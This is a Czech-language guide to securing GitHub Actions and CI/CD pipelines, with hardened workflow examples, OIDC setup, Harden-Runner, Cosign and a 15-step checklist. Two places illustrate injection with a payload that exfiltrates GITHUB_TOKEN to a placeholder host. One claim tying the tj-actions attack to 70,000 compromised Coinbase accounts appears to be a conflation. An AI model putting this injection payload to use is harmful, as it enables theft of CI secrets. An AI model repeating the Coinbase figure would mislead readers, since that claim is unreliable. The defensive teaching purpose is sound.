Zabezpečení GitHub Actions a CI/CD pipeline: Praktický průvodce pro rok 2026

CI/CD pipeline je nejzranitelnější částí moderní infrastruktury — a útočníci to vědí. Praktický průvodce pokrývá SHA pinning, OIDC, Harden-Runner, prevenci script injection, podpis obrazů Cosignem a kompletní kontrolní seznam 15 kroků k zabezpečenému pipeline.

Úvod: Proč je váš CI/CD pipeline nejzranitelnější částí infrastruktury

Představte si tohle: váš tým strávil měsíce hardeningem produkčních serverů, nastavením firewallů, konfigurací SELinuxu a nasazením runtime monitoringu. Všechno vypadá solidně. Jenže útočník vůbec neproniká přes vaši produkci — místo toho kompromituje GitHub Action třetí strany, kterou váš workflow používá, a tichým způsobem exfiltruje produkční přihlašovací údaje přímo z build logů. Žádný alarm se nespustí, žádný firewall nezareaguje.

Zní to jako teorie? Bohužel ne.

Přesně takhle v březnu 2025 dopadl útok na tj-actions/changed-files (CVE-2025-30066), který zasáhl přes 23 000 repozitářů, včetně Coinbase — a vedl ke kompromitaci přibližně 70 000 zákaznických účtů. Útočník retroaktivně přepsal verzovací tagy oblíbené GitHub Action tak, aby odkazovaly na škodlivý commit. Ten pak extrahoval CI/CD secrets z paměti Runner procesu. Elegantní a děsivé zároveň.

A tady je ta nepříjemná statistika. Podle zprávy Datadog State of DevSecOps 2026, vydané v únoru 2026, pouze 4 % organizací pinuje všechny veřejné GitHub Actions na konkrétní verze. Současně 87 % organizací provozuje software s nejméně jednou známou zneužitelnou zranitelností. Mediánové závislosti jsou 278 dní zastaralé. Upřímně, to je dost alarmující.

V tomto průvodci vám ukážu, jak systematicky zabezpečit celý CI/CD pipeline — od GitHub Actions workflows přes správu secrets až po runtime monitoring buildu. Všechno s praktickými příklady, které můžete nasadit ihned. Tak pojďme na to.

Anatomie útoku na dodavatelský řetězec softwaru

Než se pustíme do samotného hardeningu, je potřeba pochopit, jak útoky na CI/CD pipeline vlastně fungují. Bez znalosti útočných vektorů totiž těžko postavíte efektivní obranu.

Kompromitace GitHub Actions třetích stran

Nejčastější útočný vektor je vlastně překvapivě prostý: útočník získá přístup k repozitáři populární GitHub Action (přes kompromitované přihlašovací údaje správce, phishing, nebo zranitelnost v samotném GitHubu) a modifikuje kód tak, aby při spuštění v cílovém workflow exfiltroval secrets.

Přesně to se stalo u tj-actions/changed-files v roce 2025. Útočník:

  1. Získal přístup k repozitáři GitHub Action
  2. Přepsal existující verzovací tagy (v1, v2, v35 atd.) tak, aby odkazovaly na škodlivý commit
  3. Škodlivý kód spustil Python skript, který extrahoval secrets z paměti Runner Worker procesu
  4. Vyextrahované secrets (GitHub tokeny, NPM tokeny, AWS klíče, privátní RSA klíče) vypsal do build logů
  5. U repozitářů s veřejnými logy byly tyto secrets okamžitě čitelné kýmkoli

Celý útok proběhl bez nutnosti modifikovat jakýkoli kód v cílových repozitářích — stačilo změnit tag v jediném zdrojovém repozitáři. To je na tom to záludné.

Pwn Request — zneužití pull_request_target

Druhý kritický vektor je takzvaný Pwn Request — útok, který zneužívá trigger pull_request_target v GitHub Actions. Na rozdíl od běžného triggeru pull_request se workflow s pull_request_target spouští v kontextu cílového repozitáře s plnými právy, ale může přistupovat ke kódu z PR — tedy ke kódu útočníka. Nebezpečná kombinace.

V únoru 2026 AI bot hackerbot-claw systematicky skenoval veřejné repozitáře a za pouhý týden úspěšně pronikl do workflow repozitářů patřících Microsoftu, Datadogu a CNCF. Tři z pěti úspěšných útoků využily právě Pwn Request.

Script injection přes neošetřené výrazy

Třetí vektor je injekce přes GitHub Actions výrazy ${{ }}. Pokud workflow vkládá uživatelem ovlivnitelné hodnoty (název PR, komentář, jméno větve) přímo do shell příkazů bez sanitizace, útočník může spustit prakticky libovolný kód:

# NEBEZPEČNÉ — script injection
- name: Zpracování PR titulku
  run: |
    echo "Zpracovávám PR: ${{ github.event.pull_request.title }}"
    # Útočník může nastavit titulek na:
    # "; curl -s https://evil.com/steal?token=$GITHUB_TOKEN #
    # a tím exfiltrovat token

Základy hardeningu: SHA pinning GitHub Actions

Nejúčinnější obranou proti kompromitaci GitHub Actions třetích stran je pinování na plný SHA hash commitu. Je to jediný spolehlivý způsob, jak zajistit, že workflow vždy spustí přesně ten kód, který jste ověřili.

Proč tagy nestačí

Když ve workflow napíšete uses: actions/checkout@v4, odkazujete na git tag. Tagy jsou ale mutabilní — kdokoli s přístupem k repozitáři je může smazat a znovu vytvořit s odkazem na jiný commit. Přesně tohle se stalo u tj-actions útoku.

Pinování na SHA hash je bezpečné, protože SHA-1 hash jednoznačně identifikuje konkrétní commit a jeho obsah. Změna kódu vytvoří nový hash. Útočník by musel generovat SHA-1 kolizi pro validní Git objekt — což je v praxi neproveditelné (a to i s dnešním výpočetním výkonem).

Praktická ukázka: Před a po hardeningu

Nezabezpečený workflow:

# .github/workflows/ci.yml — NEZABEZPEČENO
name: CI Pipeline
on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4        # Mutabilní tag!
      - uses: actions/setup-node@v4      # Mutabilní tag!
      - uses: docker/build-push-action@v6 # Mutabilní tag!
      - uses: tj-actions/changed-files@v45 # Kompromitovaná action!

Zabezpečený workflow s SHA pinningem:

# .github/workflows/ci.yml — ZABEZPEČENO
name: CI Pipeline
on: [push, pull_request]

permissions:
  contents: read  # Minimální oprávnění

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
      - uses: docker/build-push-action@471d1dc4e07e5cdedd4c2171150001c434f0b7a4 # v6.15.0

Všimněte si dvou klíčových rozdílů:

  • SHA hash — plný 40znakový SHA hash namísto verzovacího tagu
  • Komentář s verzí — komentář # v4.2.2 za hashem zajistí čitelnost a umožní Dependabotu navrhovat aktualizace

Automatizace SHA pinningu

Ruční pinování je pro větší organizace dost neúnosné. Naštěstí existují nástroje, které to zvládnou za vás:

# Instalace pinact — automatický pinner pro GitHub Actions
go install github.com/suzuki-shunsuke/pinact/cmd/pinact@latest

# Pinování všech Actions v repozitáři
pinact run

# Nebo použití jako GitHub Action ve workflow
# .github/workflows/pin-actions.yml
name: Pin Actions
on:
  pull_request:
    paths:
      - ".github/workflows/**"

jobs:
  pin:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: suzuki-shunsuke/pinact-action@0ee9f3cee5c92e4103bfb5e8e74e0834e60cb220 # v1.1.0
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}

Dalším užitečným nástrojem je Ensure SHA Pinned Actions z GitHub Marketplace, který skenuje workflow soubory a ohlásí chybu, pokud najde jakoukoliv Action bez pinování na plný SHA hash.

Vynucení SHA pinningu na úrovni organizace

Od srpna 2025 GitHub umožňuje správcům organizací vynucovat politiku, která vyžaduje pinování na plný SHA hash pro všechny workflow. Nastavení je jednoduché:

  1. Přejděte do Organization Settings → Actions → General
  2. V sekci Allowed actions and reusable workflows zaškrtněte volbu pro vynucení SHA pinningu
  3. Uložte nastavení — od tohoto okamžiku selže jakýkoli workflow, který nepoužívá SHA reference

Tohle je podle mě jeden z nejlepších kroků, které GitHub za poslední dobu udělal.

Oprávnění GITHUB_TOKEN: Princip nejmenších práv

Každý workflow v GitHub Actions automaticky obdrží krátkodobý GITHUB_TOKEN pro interakci s repozitářem. Problém? Pokud oprávnění nejsou explicitně definována ve workflow YAML souboru, token může mít výchozí práva pro čtení i zápis ve všech oblastech. A to rozhodně nechcete.

Konfigurace minimálních oprávnění

Vždy explicitně definujte oprávnění na úrovni workflow nebo jednotlivého jobu:

# Globální nastavení minimálních oprávnění pro celý workflow
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - run: npm test

  deploy:
    runs-on: ubuntu-latest
    needs: test
    # Specifická oprávnění pro deploy job
    permissions:
      contents: read
      packages: write
      id-token: write  # Pro OIDC
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Přihlášení do GHCR
        uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

Doporučená minimální oprávnění podle typu workflow

Tady je rychlý přehled, jaká oprávnění budete typicky potřebovat:

  • CI testy: contents: read
  • Publikace balíčku: contents: read, packages: write
  • Komentář do PR: contents: read, pull-requests: write
  • Vytvoření release: contents: write
  • Deploy přes OIDC: contents: read, id-token: write
  • Aktualizace wiki: contents: read, pages: write

Doporučuju si tenhle seznam někam uložit — hodí se při psaní každého nového workflow.

OIDC namísto statických přihlašovacích údajů

Jedno z největších bezpečnostních rizik CI/CD pipeline je ukládání dlouhodobých přihlašovacích údajů (AWS access keys, GCP service account keys, Azure credentials) jako GitHub Secrets. Tyto údaje jsou statické, potenciálně exfiltrovatelné z build logů a — buďme upřímní — často nerotované.

Řešením je OpenID Connect (OIDC) — standard, který umožňuje GitHub Actions získat krátkodobé tokeny přímo od cloudového poskytovatele bez nutnosti ukládání jakýchkoli credentials. Žádné klíče, žádná rotace, žádný stres.

Jak OIDC funguje v GitHub Actions

  1. Workflow požádá o OIDC token od GitHubu
  2. GitHub vydá podepsaný JWT token obsahující informace o workflow (repozitář, větev, triggering event)
  3. Workflow předloží tento token cloudovému poskytovateli
  4. Cloudový poskytovatel ověří podpis JWT a vrátí krátkodobý přístupový token
  5. Workflow použije krátkodobý token pro přístup ke cloudovým zdrojům

Celý flow je překvapivě přímočarý, jakmile ho jednou nastavíte.

Konfigurace OIDC pro AWS

Nejprve vytvořte OIDC Identity Provider v AWS:

# Vytvoření OIDC provideru v AWS pomocí Terraform
resource "aws_iam_openid_connect_provider" "github_actions" {
  url = "https://token.actions.githubusercontent.com"

  client_id_list = ["sts.amazonaws.com"]

  thumbprint_list = [
    "ffffffffffffffffffffffffffffffffffffffff"
  ]
}

# IAM role pro GitHub Actions
resource "aws_iam_role" "github_actions_deploy" {
  name = "github-actions-deploy"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Allow"
        Principal = {
          Federated = aws_iam_openid_connect_provider.github_actions.arn
        }
        Action = "sts:AssumeRoleWithWebIdentity"
        Condition = {
          StringEquals = {
            "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
          }
          StringLike = {
            # Omezení na konkrétní repozitář a větev
            "token.actions.githubusercontent.com:sub" = "repo:vase-org/vas-repo:ref:refs/heads/main"
          }
        }
      }
    ]
  })
}

# Přiřazení politik — pouze potřebná oprávnění
resource "aws_iam_role_policy_attachment" "ecr_push" {
  role       = aws_iam_role.github_actions_deploy.name
  policy_arn = "arn:aws:iam::policy/AmazonEC2ContainerRegistryPowerUser"
}

A poté ve workflow:

# .github/workflows/deploy.yml
name: Deploy to AWS
on:
  push:
    branches: [main]

permissions:
  id-token: write   # Povinné pro OIDC
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Konfigurace AWS credentials přes OIDC
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::role/github-actions-deploy
          aws-region: eu-central-1
          # Žádný access key, žádný secret — vše přes OIDC!

      - name: Deploy
        run: |
          aws ecr get-login-password | docker login --username AWS --password-stdin $ECR_REGISTRY
          docker push $ECR_REGISTRY/app:${{ github.sha }}

Runtime ochrana workflow: StepSecurity Harden-Runner

SHA pinning a OIDC řeší prevenci, ale co když se útočník přesto dostane do vašeho workflow? Potřebujete runtime detekci — něco jako EDR pro vaše GitHub Actions runnery.

Přesně to nabízí StepSecurity Harden-Runner — open-source bezpečnostní agent, který monitoruje síťový provoz, integritu souborů a aktivitu procesů přímo na runneru. V současnosti chrání přes 5 000 open-source projektů, včetně repozitářů Microsoftu, Googlu a Kubernetes. Rozhodně to není žádný okrajový nástroj.

Jak Harden-Runner detekoval útok na tj-actions

Když byl v březnu 2025 kompromitován tj-actions/changed-files, Harden-Runner okamžitě detekoval anomální odchozí síťové spojení — škodlivý kód se pokoušel komunikovat s externím serverem, který nebyl na seznamu povolených destinací. Díky tomu byl útok odhalen a nahlášen GitHubu, což vedlo k vydání CVE-2025-30066.

Tohle je přesně ten scénář, kdy se runtime monitoring vyplatí.

Nasazení Harden-Runner

Integrace do existujícího workflow je jednodušší, než byste čekali — stačí přidat Harden-Runner jako první krok:

# .github/workflows/ci.yml
name: Zabezpečený CI Pipeline
on: [push, pull_request]

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # Harden-Runner MUSÍ být prvním krokem
      - name: Harden Runner
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          # Audit režim — loguje síťové volání, neblokuje
          egress-policy: audit
          # Nebo block režim — povolí pouze explicitně uvedené destinace
          # egress-policy: block
          # allowed-endpoints: >
          #   github.com:443
          #   registry.npmjs.org:443
          #   api.github.com:443

      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
        with:
          node-version: 22
      - run: npm ci && npm test

Doporučený postup nasazení

Nezačínejte rovnou s blokováním — to je recept na problémy. Postupujte raději ve fázích:

  1. Fáze 1 — Audit: Nasaďte s egress-policy: audit. Harden-Runner zaznamená všechna síťová volání, aniž by cokoli blokoval. Analyzujte záznamy a identifikujte legitimní endpointy.
  2. Fáze 2 — Allowlist: Na základě auditních dat sestavte seznam povolených endpointů a přepněte na egress-policy: block.
  3. Fáze 3 — Enforcement: Vynuťte politiku na úrovni organizace a integrujte alerty do vašeho SIEM systému.

Ochrana před script injection

Script injection je zákeřný útok, protože nevyžaduje žádnou kompromitaci třetí strany — útočník jednoduše vytvoří pull request s vhodně pojmenovanou větví nebo titulkem, a pokud workflow neošetřuje vstupy, spustí se libovolný kód. Jednoduché, efektivní a bohužel stále překvapivě časté.

Bezpečné zpracování vstupů

Zlaté pravidlo: nikdy nevkládejte GitHub výrazy ${{ }} přímo do run: bloků. Místo toho použijte environmentální proměnné:

# NEBEZPEČNÉ — přímo interpolovaný vstup
- name: Nebezpečné
  run: |
    echo "PR titulek: ${{ github.event.pull_request.title }}"

# BEZPEČNÉ — vstup přes environmentální proměnnou
- name: Bezpečné
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR titulek: $PR_TITLE"

Proč je to bezpečnější? Když hodnota projde přes environmentální proměnnou, shell ji interpretuje jako řetězec — ne jako součást příkazu. Útočníkův payload "; curl evil.com # se jednoduše vypíše jako text, namísto toho aby se spustil jako příkaz. Drobný rozdíl v syntaxi, obrovský rozdíl v bezpečnosti.

Detekce injection zranitelností pomocí CodeQL

GitHub Advanced Security (GHAS) a CodeQL dokáží staticky analyzovat workflow soubory a detekovat potenciální injection zranitelnosti. CodeQL modeluje datový tok ve workflow a identifikuje cesty, kde uživatelský vstup protéká do nebezpečných kontextů:

# Instalace CodeQL CLI a analýza workflow
codeql database create workflow-db \
  --language=actions \
  --source-root=.github/workflows

codeql database analyze workflow-db \
  codeql/actions-queries \
  --format=sarif-latest \
  --output=results.sarif

Alternativně lze použít Semgrep s pravidly specifickými pro GitHub Actions:

# Instalace a sken pomocí Semgrep
pip install semgrep

# Kontrola GitHub Actions workflow souborů
semgrep --config "p/github-actions" .github/workflows/

# Vlastní pravidlo pro detekci nebezpečných interpolací
# .semgrep/github-actions-injection.yml
rules:
  - id: gha-script-injection
    patterns:
      - pattern: |
          run: |
            ... ${{ github.event.pull_request.title }} ...
      - pattern: |
          run: |
            ... ${{ github.event.pull_request.body }} ...
      - pattern: |
          run: |
            ... ${{ github.event.issue.title }} ...
    message: "Potenciální script injection — použijte env proměnnou namísto přímé interpolace"
    severity: ERROR
    languages: [yaml]

Správa secrets v CI/CD pipeline

Správa secrets je v CI/CD pipeline naprosto kritická. A tady je důvod, proč: jakýkoli uživatel s právem zápisu do repozitáře má automaticky přístup ke čtení všech nakonfigurovaných secrets. To je dost široký blast radius.

Pravidla pro bezpečnou práci se secrets

  • Rotace: pravidelně rotujte všechny secrets, ideálně pomocí automatizovaného procesu (ručně to nikdo dodržovat nebude, buďme realisté)
  • Nejmenší oprávnění: secrets by měly mít minimální nutná oprávnění — pokud workflow potřebuje pouze read access k ECR, nevytvářejte admin credentials
  • Environment secrets: pro produkční deploy používejte GitHub Environments s povinným reviewem a ochrannou dobou
  • Žádné secrets v logech: GitHub automaticky maskuje secrets v logách, ale útočník je může obejít kódováním (base64) — proto nikdy secrets do logů nevypisujte

Konfigurace GitHub Environments pro produkční deploy

# .github/workflows/deploy-production.yml
name: Deploy to Production
on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    # Environment s ochranným pravidlem
    environment:
      name: production
      url: https://app.example.com
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Deploy
        env:
          # Secret je dostupný pouze po schválení reviewerem
          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
        run: |
          ./scripts/deploy.sh

V nastavení Environment production nakonfigurujte:

  • Required reviewers: minimálně 1–2 schvalovatelé před spuštěním deploy workflow
  • Wait timer: třeba 5minutová čekací doba pro možnost zrušení
  • Deployment branches: omezte na main branch

SBOM a skenování závislostí

Software Bill of Materials (SBOM) se v roce 2026 stal de facto standardem. A čísla mluví jasně — zpráva Datadog uvádí, že 42 % služeb závisí na knihovnách, které již nejsou aktivně udržovány, a 50 % organizací adoptuje nové verze knihoven během 24 hodin od vydání. To druhé číslo je vlastně taky problém, protože zvyšuje riziko instalace kompromitovaných balíčků dřív, než je komunita stihne prověřit.

Automatické generování SBOM v CI/CD

# .github/workflows/sbom.yml
name: Generování SBOM a skenování zranitelností
on:
  push:
    branches: [main]
  schedule:
    - cron: "0 6 * * 1"  # Každé pondělí v 6:00 UTC

permissions:
  contents: read
  security-events: write

jobs:
  sbom-scan:
    runs-on: ubuntu-latest
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          egress-policy: audit

      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      # Skenování kontejnerového obrazu pomocí Trivy
      - name: Skenování obrazu
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947e0a2f18a20a0e8bf # v0.29.0
        with:
          image-ref: "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}"
          format: "sarif"
          output: "trivy-results.sarif"
          severity: "CRITICAL,HIGH"

      # Upload výsledků do GitHub Security tab
      - name: Upload výsledků
        uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
        with:
          sarif_file: "trivy-results.sarif"

      # Generování SBOM ve formátu CycloneDX
      - name: Generování SBOM
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947e0a2f18a20a0e8bf # v0.29.0
        with:
          image-ref: "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}"
          format: "cyclonedx"
          output: "sbom.json"

      # Archivace SBOM jako artefakt
      - name: Upload SBOM
        uses: actions/upload-artifact@ea165f8d65b6db9a8b9c8c4d8e6e0163f6247a8a # v4.6.2
        with:
          name: sbom
          path: sbom.json

Podpis a verifikace kontejnerových obrazů pomocí Cosign

Poslední vrstvou ochrany dodavatelského řetězce je podpis a verifikace artefaktů. Cosign, součást projektu Sigstore, umožňuje kryptograficky podepisovat kontejnerové obrazy během buildu a ověřovat podpisy před nasazením. Myslím, že tohle je oblast, kterou spousta týmů stále podceňuje.

# .github/workflows/build-sign.yml
name: Build, Sign & Push
on:
  push:
    branches: [main]

permissions:
  contents: read
  packages: write
  id-token: write  # Pro Cosign keyless signing

jobs:
  build-and-sign:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Instalace Cosign
        uses: sigstore/cosign-installer@3454372f43399081ed03b604cb2d021dabca52bb # v3.8.2

      - name: Přihlášení do GHCR
        uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Build a push
        id: build
        uses: docker/build-push-action@471d1dc4e07e5cdedd4c2171150001c434f0b7a4 # v6.15.0
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.sha }}

      - name: Podpis obrazu pomocí Cosign (keyless)
        run: |
          cosign sign --yes \
            ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
        env:
          COSIGN_EXPERIMENTAL: "true"

A verifikace při nasazení v Kubernetes pomocí policy enginu Kyverno:

# kyverno-policy-verify-images.yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  background: false
  rules:
    - name: verify-cosign-signature
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "ghcr.io/vase-org/*"
          attestors:
            - entries:
                - keyless:
                    issuer: "https://token.actions.githubusercontent.com"
                    subject: "https://github.com/vase-org/*"
                    rekor:
                      url: "https://rekor.sigstore.dev"

Kompletní zabezpečený CI/CD workflow: Všechno dohromady

Tak, a teď pojďme spojit všechny techniky do jednoho produkčního workflow, který implementuje celý bezpečnostní řetězec od testů až po deploy:

# .github/workflows/secure-pipeline.yml
name: Zabezpečený produkční pipeline
on:
  push:
    branches: [main]

# Globální minimální oprávnění
permissions:
  contents: read

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  # 1. Statická analýza a testy
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          egress-policy: audit

      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Spuštění testů
        run: make test

      - name: SAST skenování
        uses: github/codeql-action/analyze@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18

  # 2. Build a skenování obrazu
  build:
    runs-on: ubuntu-latest
    needs: test
    permissions:
      contents: read
      packages: write
      id-token: write
      security-events: write
    outputs:
      digest: ${{ steps.build.outputs.digest }}
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          egress-policy: audit

      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Přihlášení do GHCR
        uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Build a push
        id: build
        uses: docker/build-push-action@471d1dc4e07e5cdedd4c2171150001c434f0b7a4 # v6.15.0
        with:
          push: true
          tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}

      - name: Skenování zranitelností
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947e0a2f18a20a0e8bf # v0.29.0
        with:
          image-ref: "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}"
          format: "sarif"
          output: "trivy.sarif"
          severity: "CRITICAL,HIGH"
          exit-code: "1"

      - name: Podpis obrazu
        uses: sigstore/cosign-installer@3454372f43399081ed03b604cb2d021dabca52bb # v3.8.2
      - run: cosign sign --yes ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ steps.build.outputs.digest }}

  # 3. Deploy do produkce
  deploy:
    runs-on: ubuntu-latest
    needs: build
    environment:
      name: production
      url: https://app.example.com
    permissions:
      contents: read
      id-token: write
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
        with:
          egress-policy: audit

      - name: Konfigurace AWS OIDC
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::role/github-actions-deploy
          aws-region: eu-central-1

      - name: Deploy do EKS
        run: |
          aws eks update-kubeconfig --name production-cluster
          kubectl set image deployment/app \
            app=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }}

Kontrolní seznam: 15 kroků k zabezpečenému CI/CD pipeline

Na závěr tu máte kompaktní kontrolní seznam, který shrnuje všechna doporučení z tohoto průvodce. Doporučuju si ho projít bod po bodu a upřímně vyhodnotit, kolik z nich váš tým aktuálně splňuje:

  1. Pinujte všechny GitHub Actions na plný SHA hash commitu
  2. Přidejte komentáře s verzí za SHA hash pro čitelnost a Dependabot
  3. Nastavte permissions na úrovni workflow — výchozí contents: read
  4. Používejte OIDC místo statických cloud credentials
  5. Nasaďte Harden-Runner jako první krok každého workflow
  6. Nikdy neinterpolujte ${{ }} výrazy přímo do run: bloků
  7. Používejte GitHub Environments pro produkční deploy s povinným reviewem
  8. Pravidelně rotujte všechny secrets
  9. Skenujte kontejnerové obrazy na zranitelnosti pomocí Trivy
  10. Podepisujte kontejnerové obrazy pomocí Cosign/Sigstore
  11. Verifikujte podpisy před nasazením (Kyverno, OPA/Gatekeeper)
  12. Generujte SBOM pro každý build
  13. Omezte použití pull_request_target triggeru
  14. Automatizujte SHA pinning pomocí pinact nebo StepSecurity
  15. Vynuťte SHA pinning na úrovni organizace přes GitHub politiky

Často kladené otázky (FAQ)

Jak zjistím SHA hash konkrétní verze GitHub Action?

Přejděte do repozitáře dané Action na GitHubu, klikněte na záložku „Releases" nebo „Tags", najděte požadovanou verzi a klikněte na zkrácený hash commitu. V detailu commitu najdete plný 40znakový SHA hash. Alternativně můžete v terminálu spustit git ls-remote --tags https://github.com/actions/checkout | grep v4.2.2. Vždy si ověřte, že SHA pochází z oficiálního repozitáře, nikoli z forku.

Je SHA pinning GitHub Actions opravdu nutný pro soukromé repozitáře?

Ano, jednoznačně. I když je váš repozitář soukromý, workflow může používat veřejné GitHub Actions třetích stran, které mohou být kompromitovány. Útok na tj-actions/changed-files zasáhl veřejné i soukromé repozitáře bez rozdílu. A jak jsem zmínil výše — pouze 4 % organizací pinuje všechny Actions. Bezpečnostní audit vašeho pipeline by měl být prioritou bez ohledu na viditelnost repozitáře.

Jaký je rozdíl mezi pull_request a pull_request_target triggerem?

Trigger pull_request spouští workflow v kontextu merge commitu PR s omezenými oprávněními (read-only GITHUB_TOKEN). Trigger pull_request_target se spouští v kontextu cílového repozitáře s plnými právy, ale může přistupovat ke kódu z PR. Právě tato kombinace plných oprávnění a přístupu k nedůvěryhodnému kódu vytváří nebezpečný vektor zvaný Pwn Request. Pokud musíte pull_request_target použít, nikdy neprovádějte checkout kódu z PR a workflow nechte běžet s minimálními oprávněními.

Jak mohu auditovat, které GitHub Actions v mé organizaci nejsou pinované?

Existuje několik přístupů. Nástroj pinact dokáže skenovat a automaticky pinovat Actions ve všech workflow souborech. GitHub Action Ensure SHA Pinned Actions z Marketplace ohlásí chybu u nepinovaných Actions. Pro enterprise prostředí nabízí StepSecurity dashboard, který zobrazuje bezpečnostní stav všech workflow v organizaci — včetně nepinovaných Actions, příliš širokých oprávnění a nerotovaných secrets.

Může OIDC kompletně nahradit GitHub Secrets pro cloudové přihlašovací údaje?

Pro přístup k hlavním cloudovým poskytovatelům (AWS, Azure, GCP) rozhodně ano — OIDC je doporučený způsob a měl by nahradit statické access keys a service account keys. Tokeny jsou krátkodobé (typicky 1 hodina), automaticky expirují a nedají se exfiltrovat pro pozdější zneužití. Některé služby však OIDC zatím nepodporují — v takovém případě je potřeba nadále používat secrets, ale ideálně uložené v GitHub Environments s povinným reviewem a automatickou rotací.

O Autorovi Editorial Team

Our team of expert writers and editors.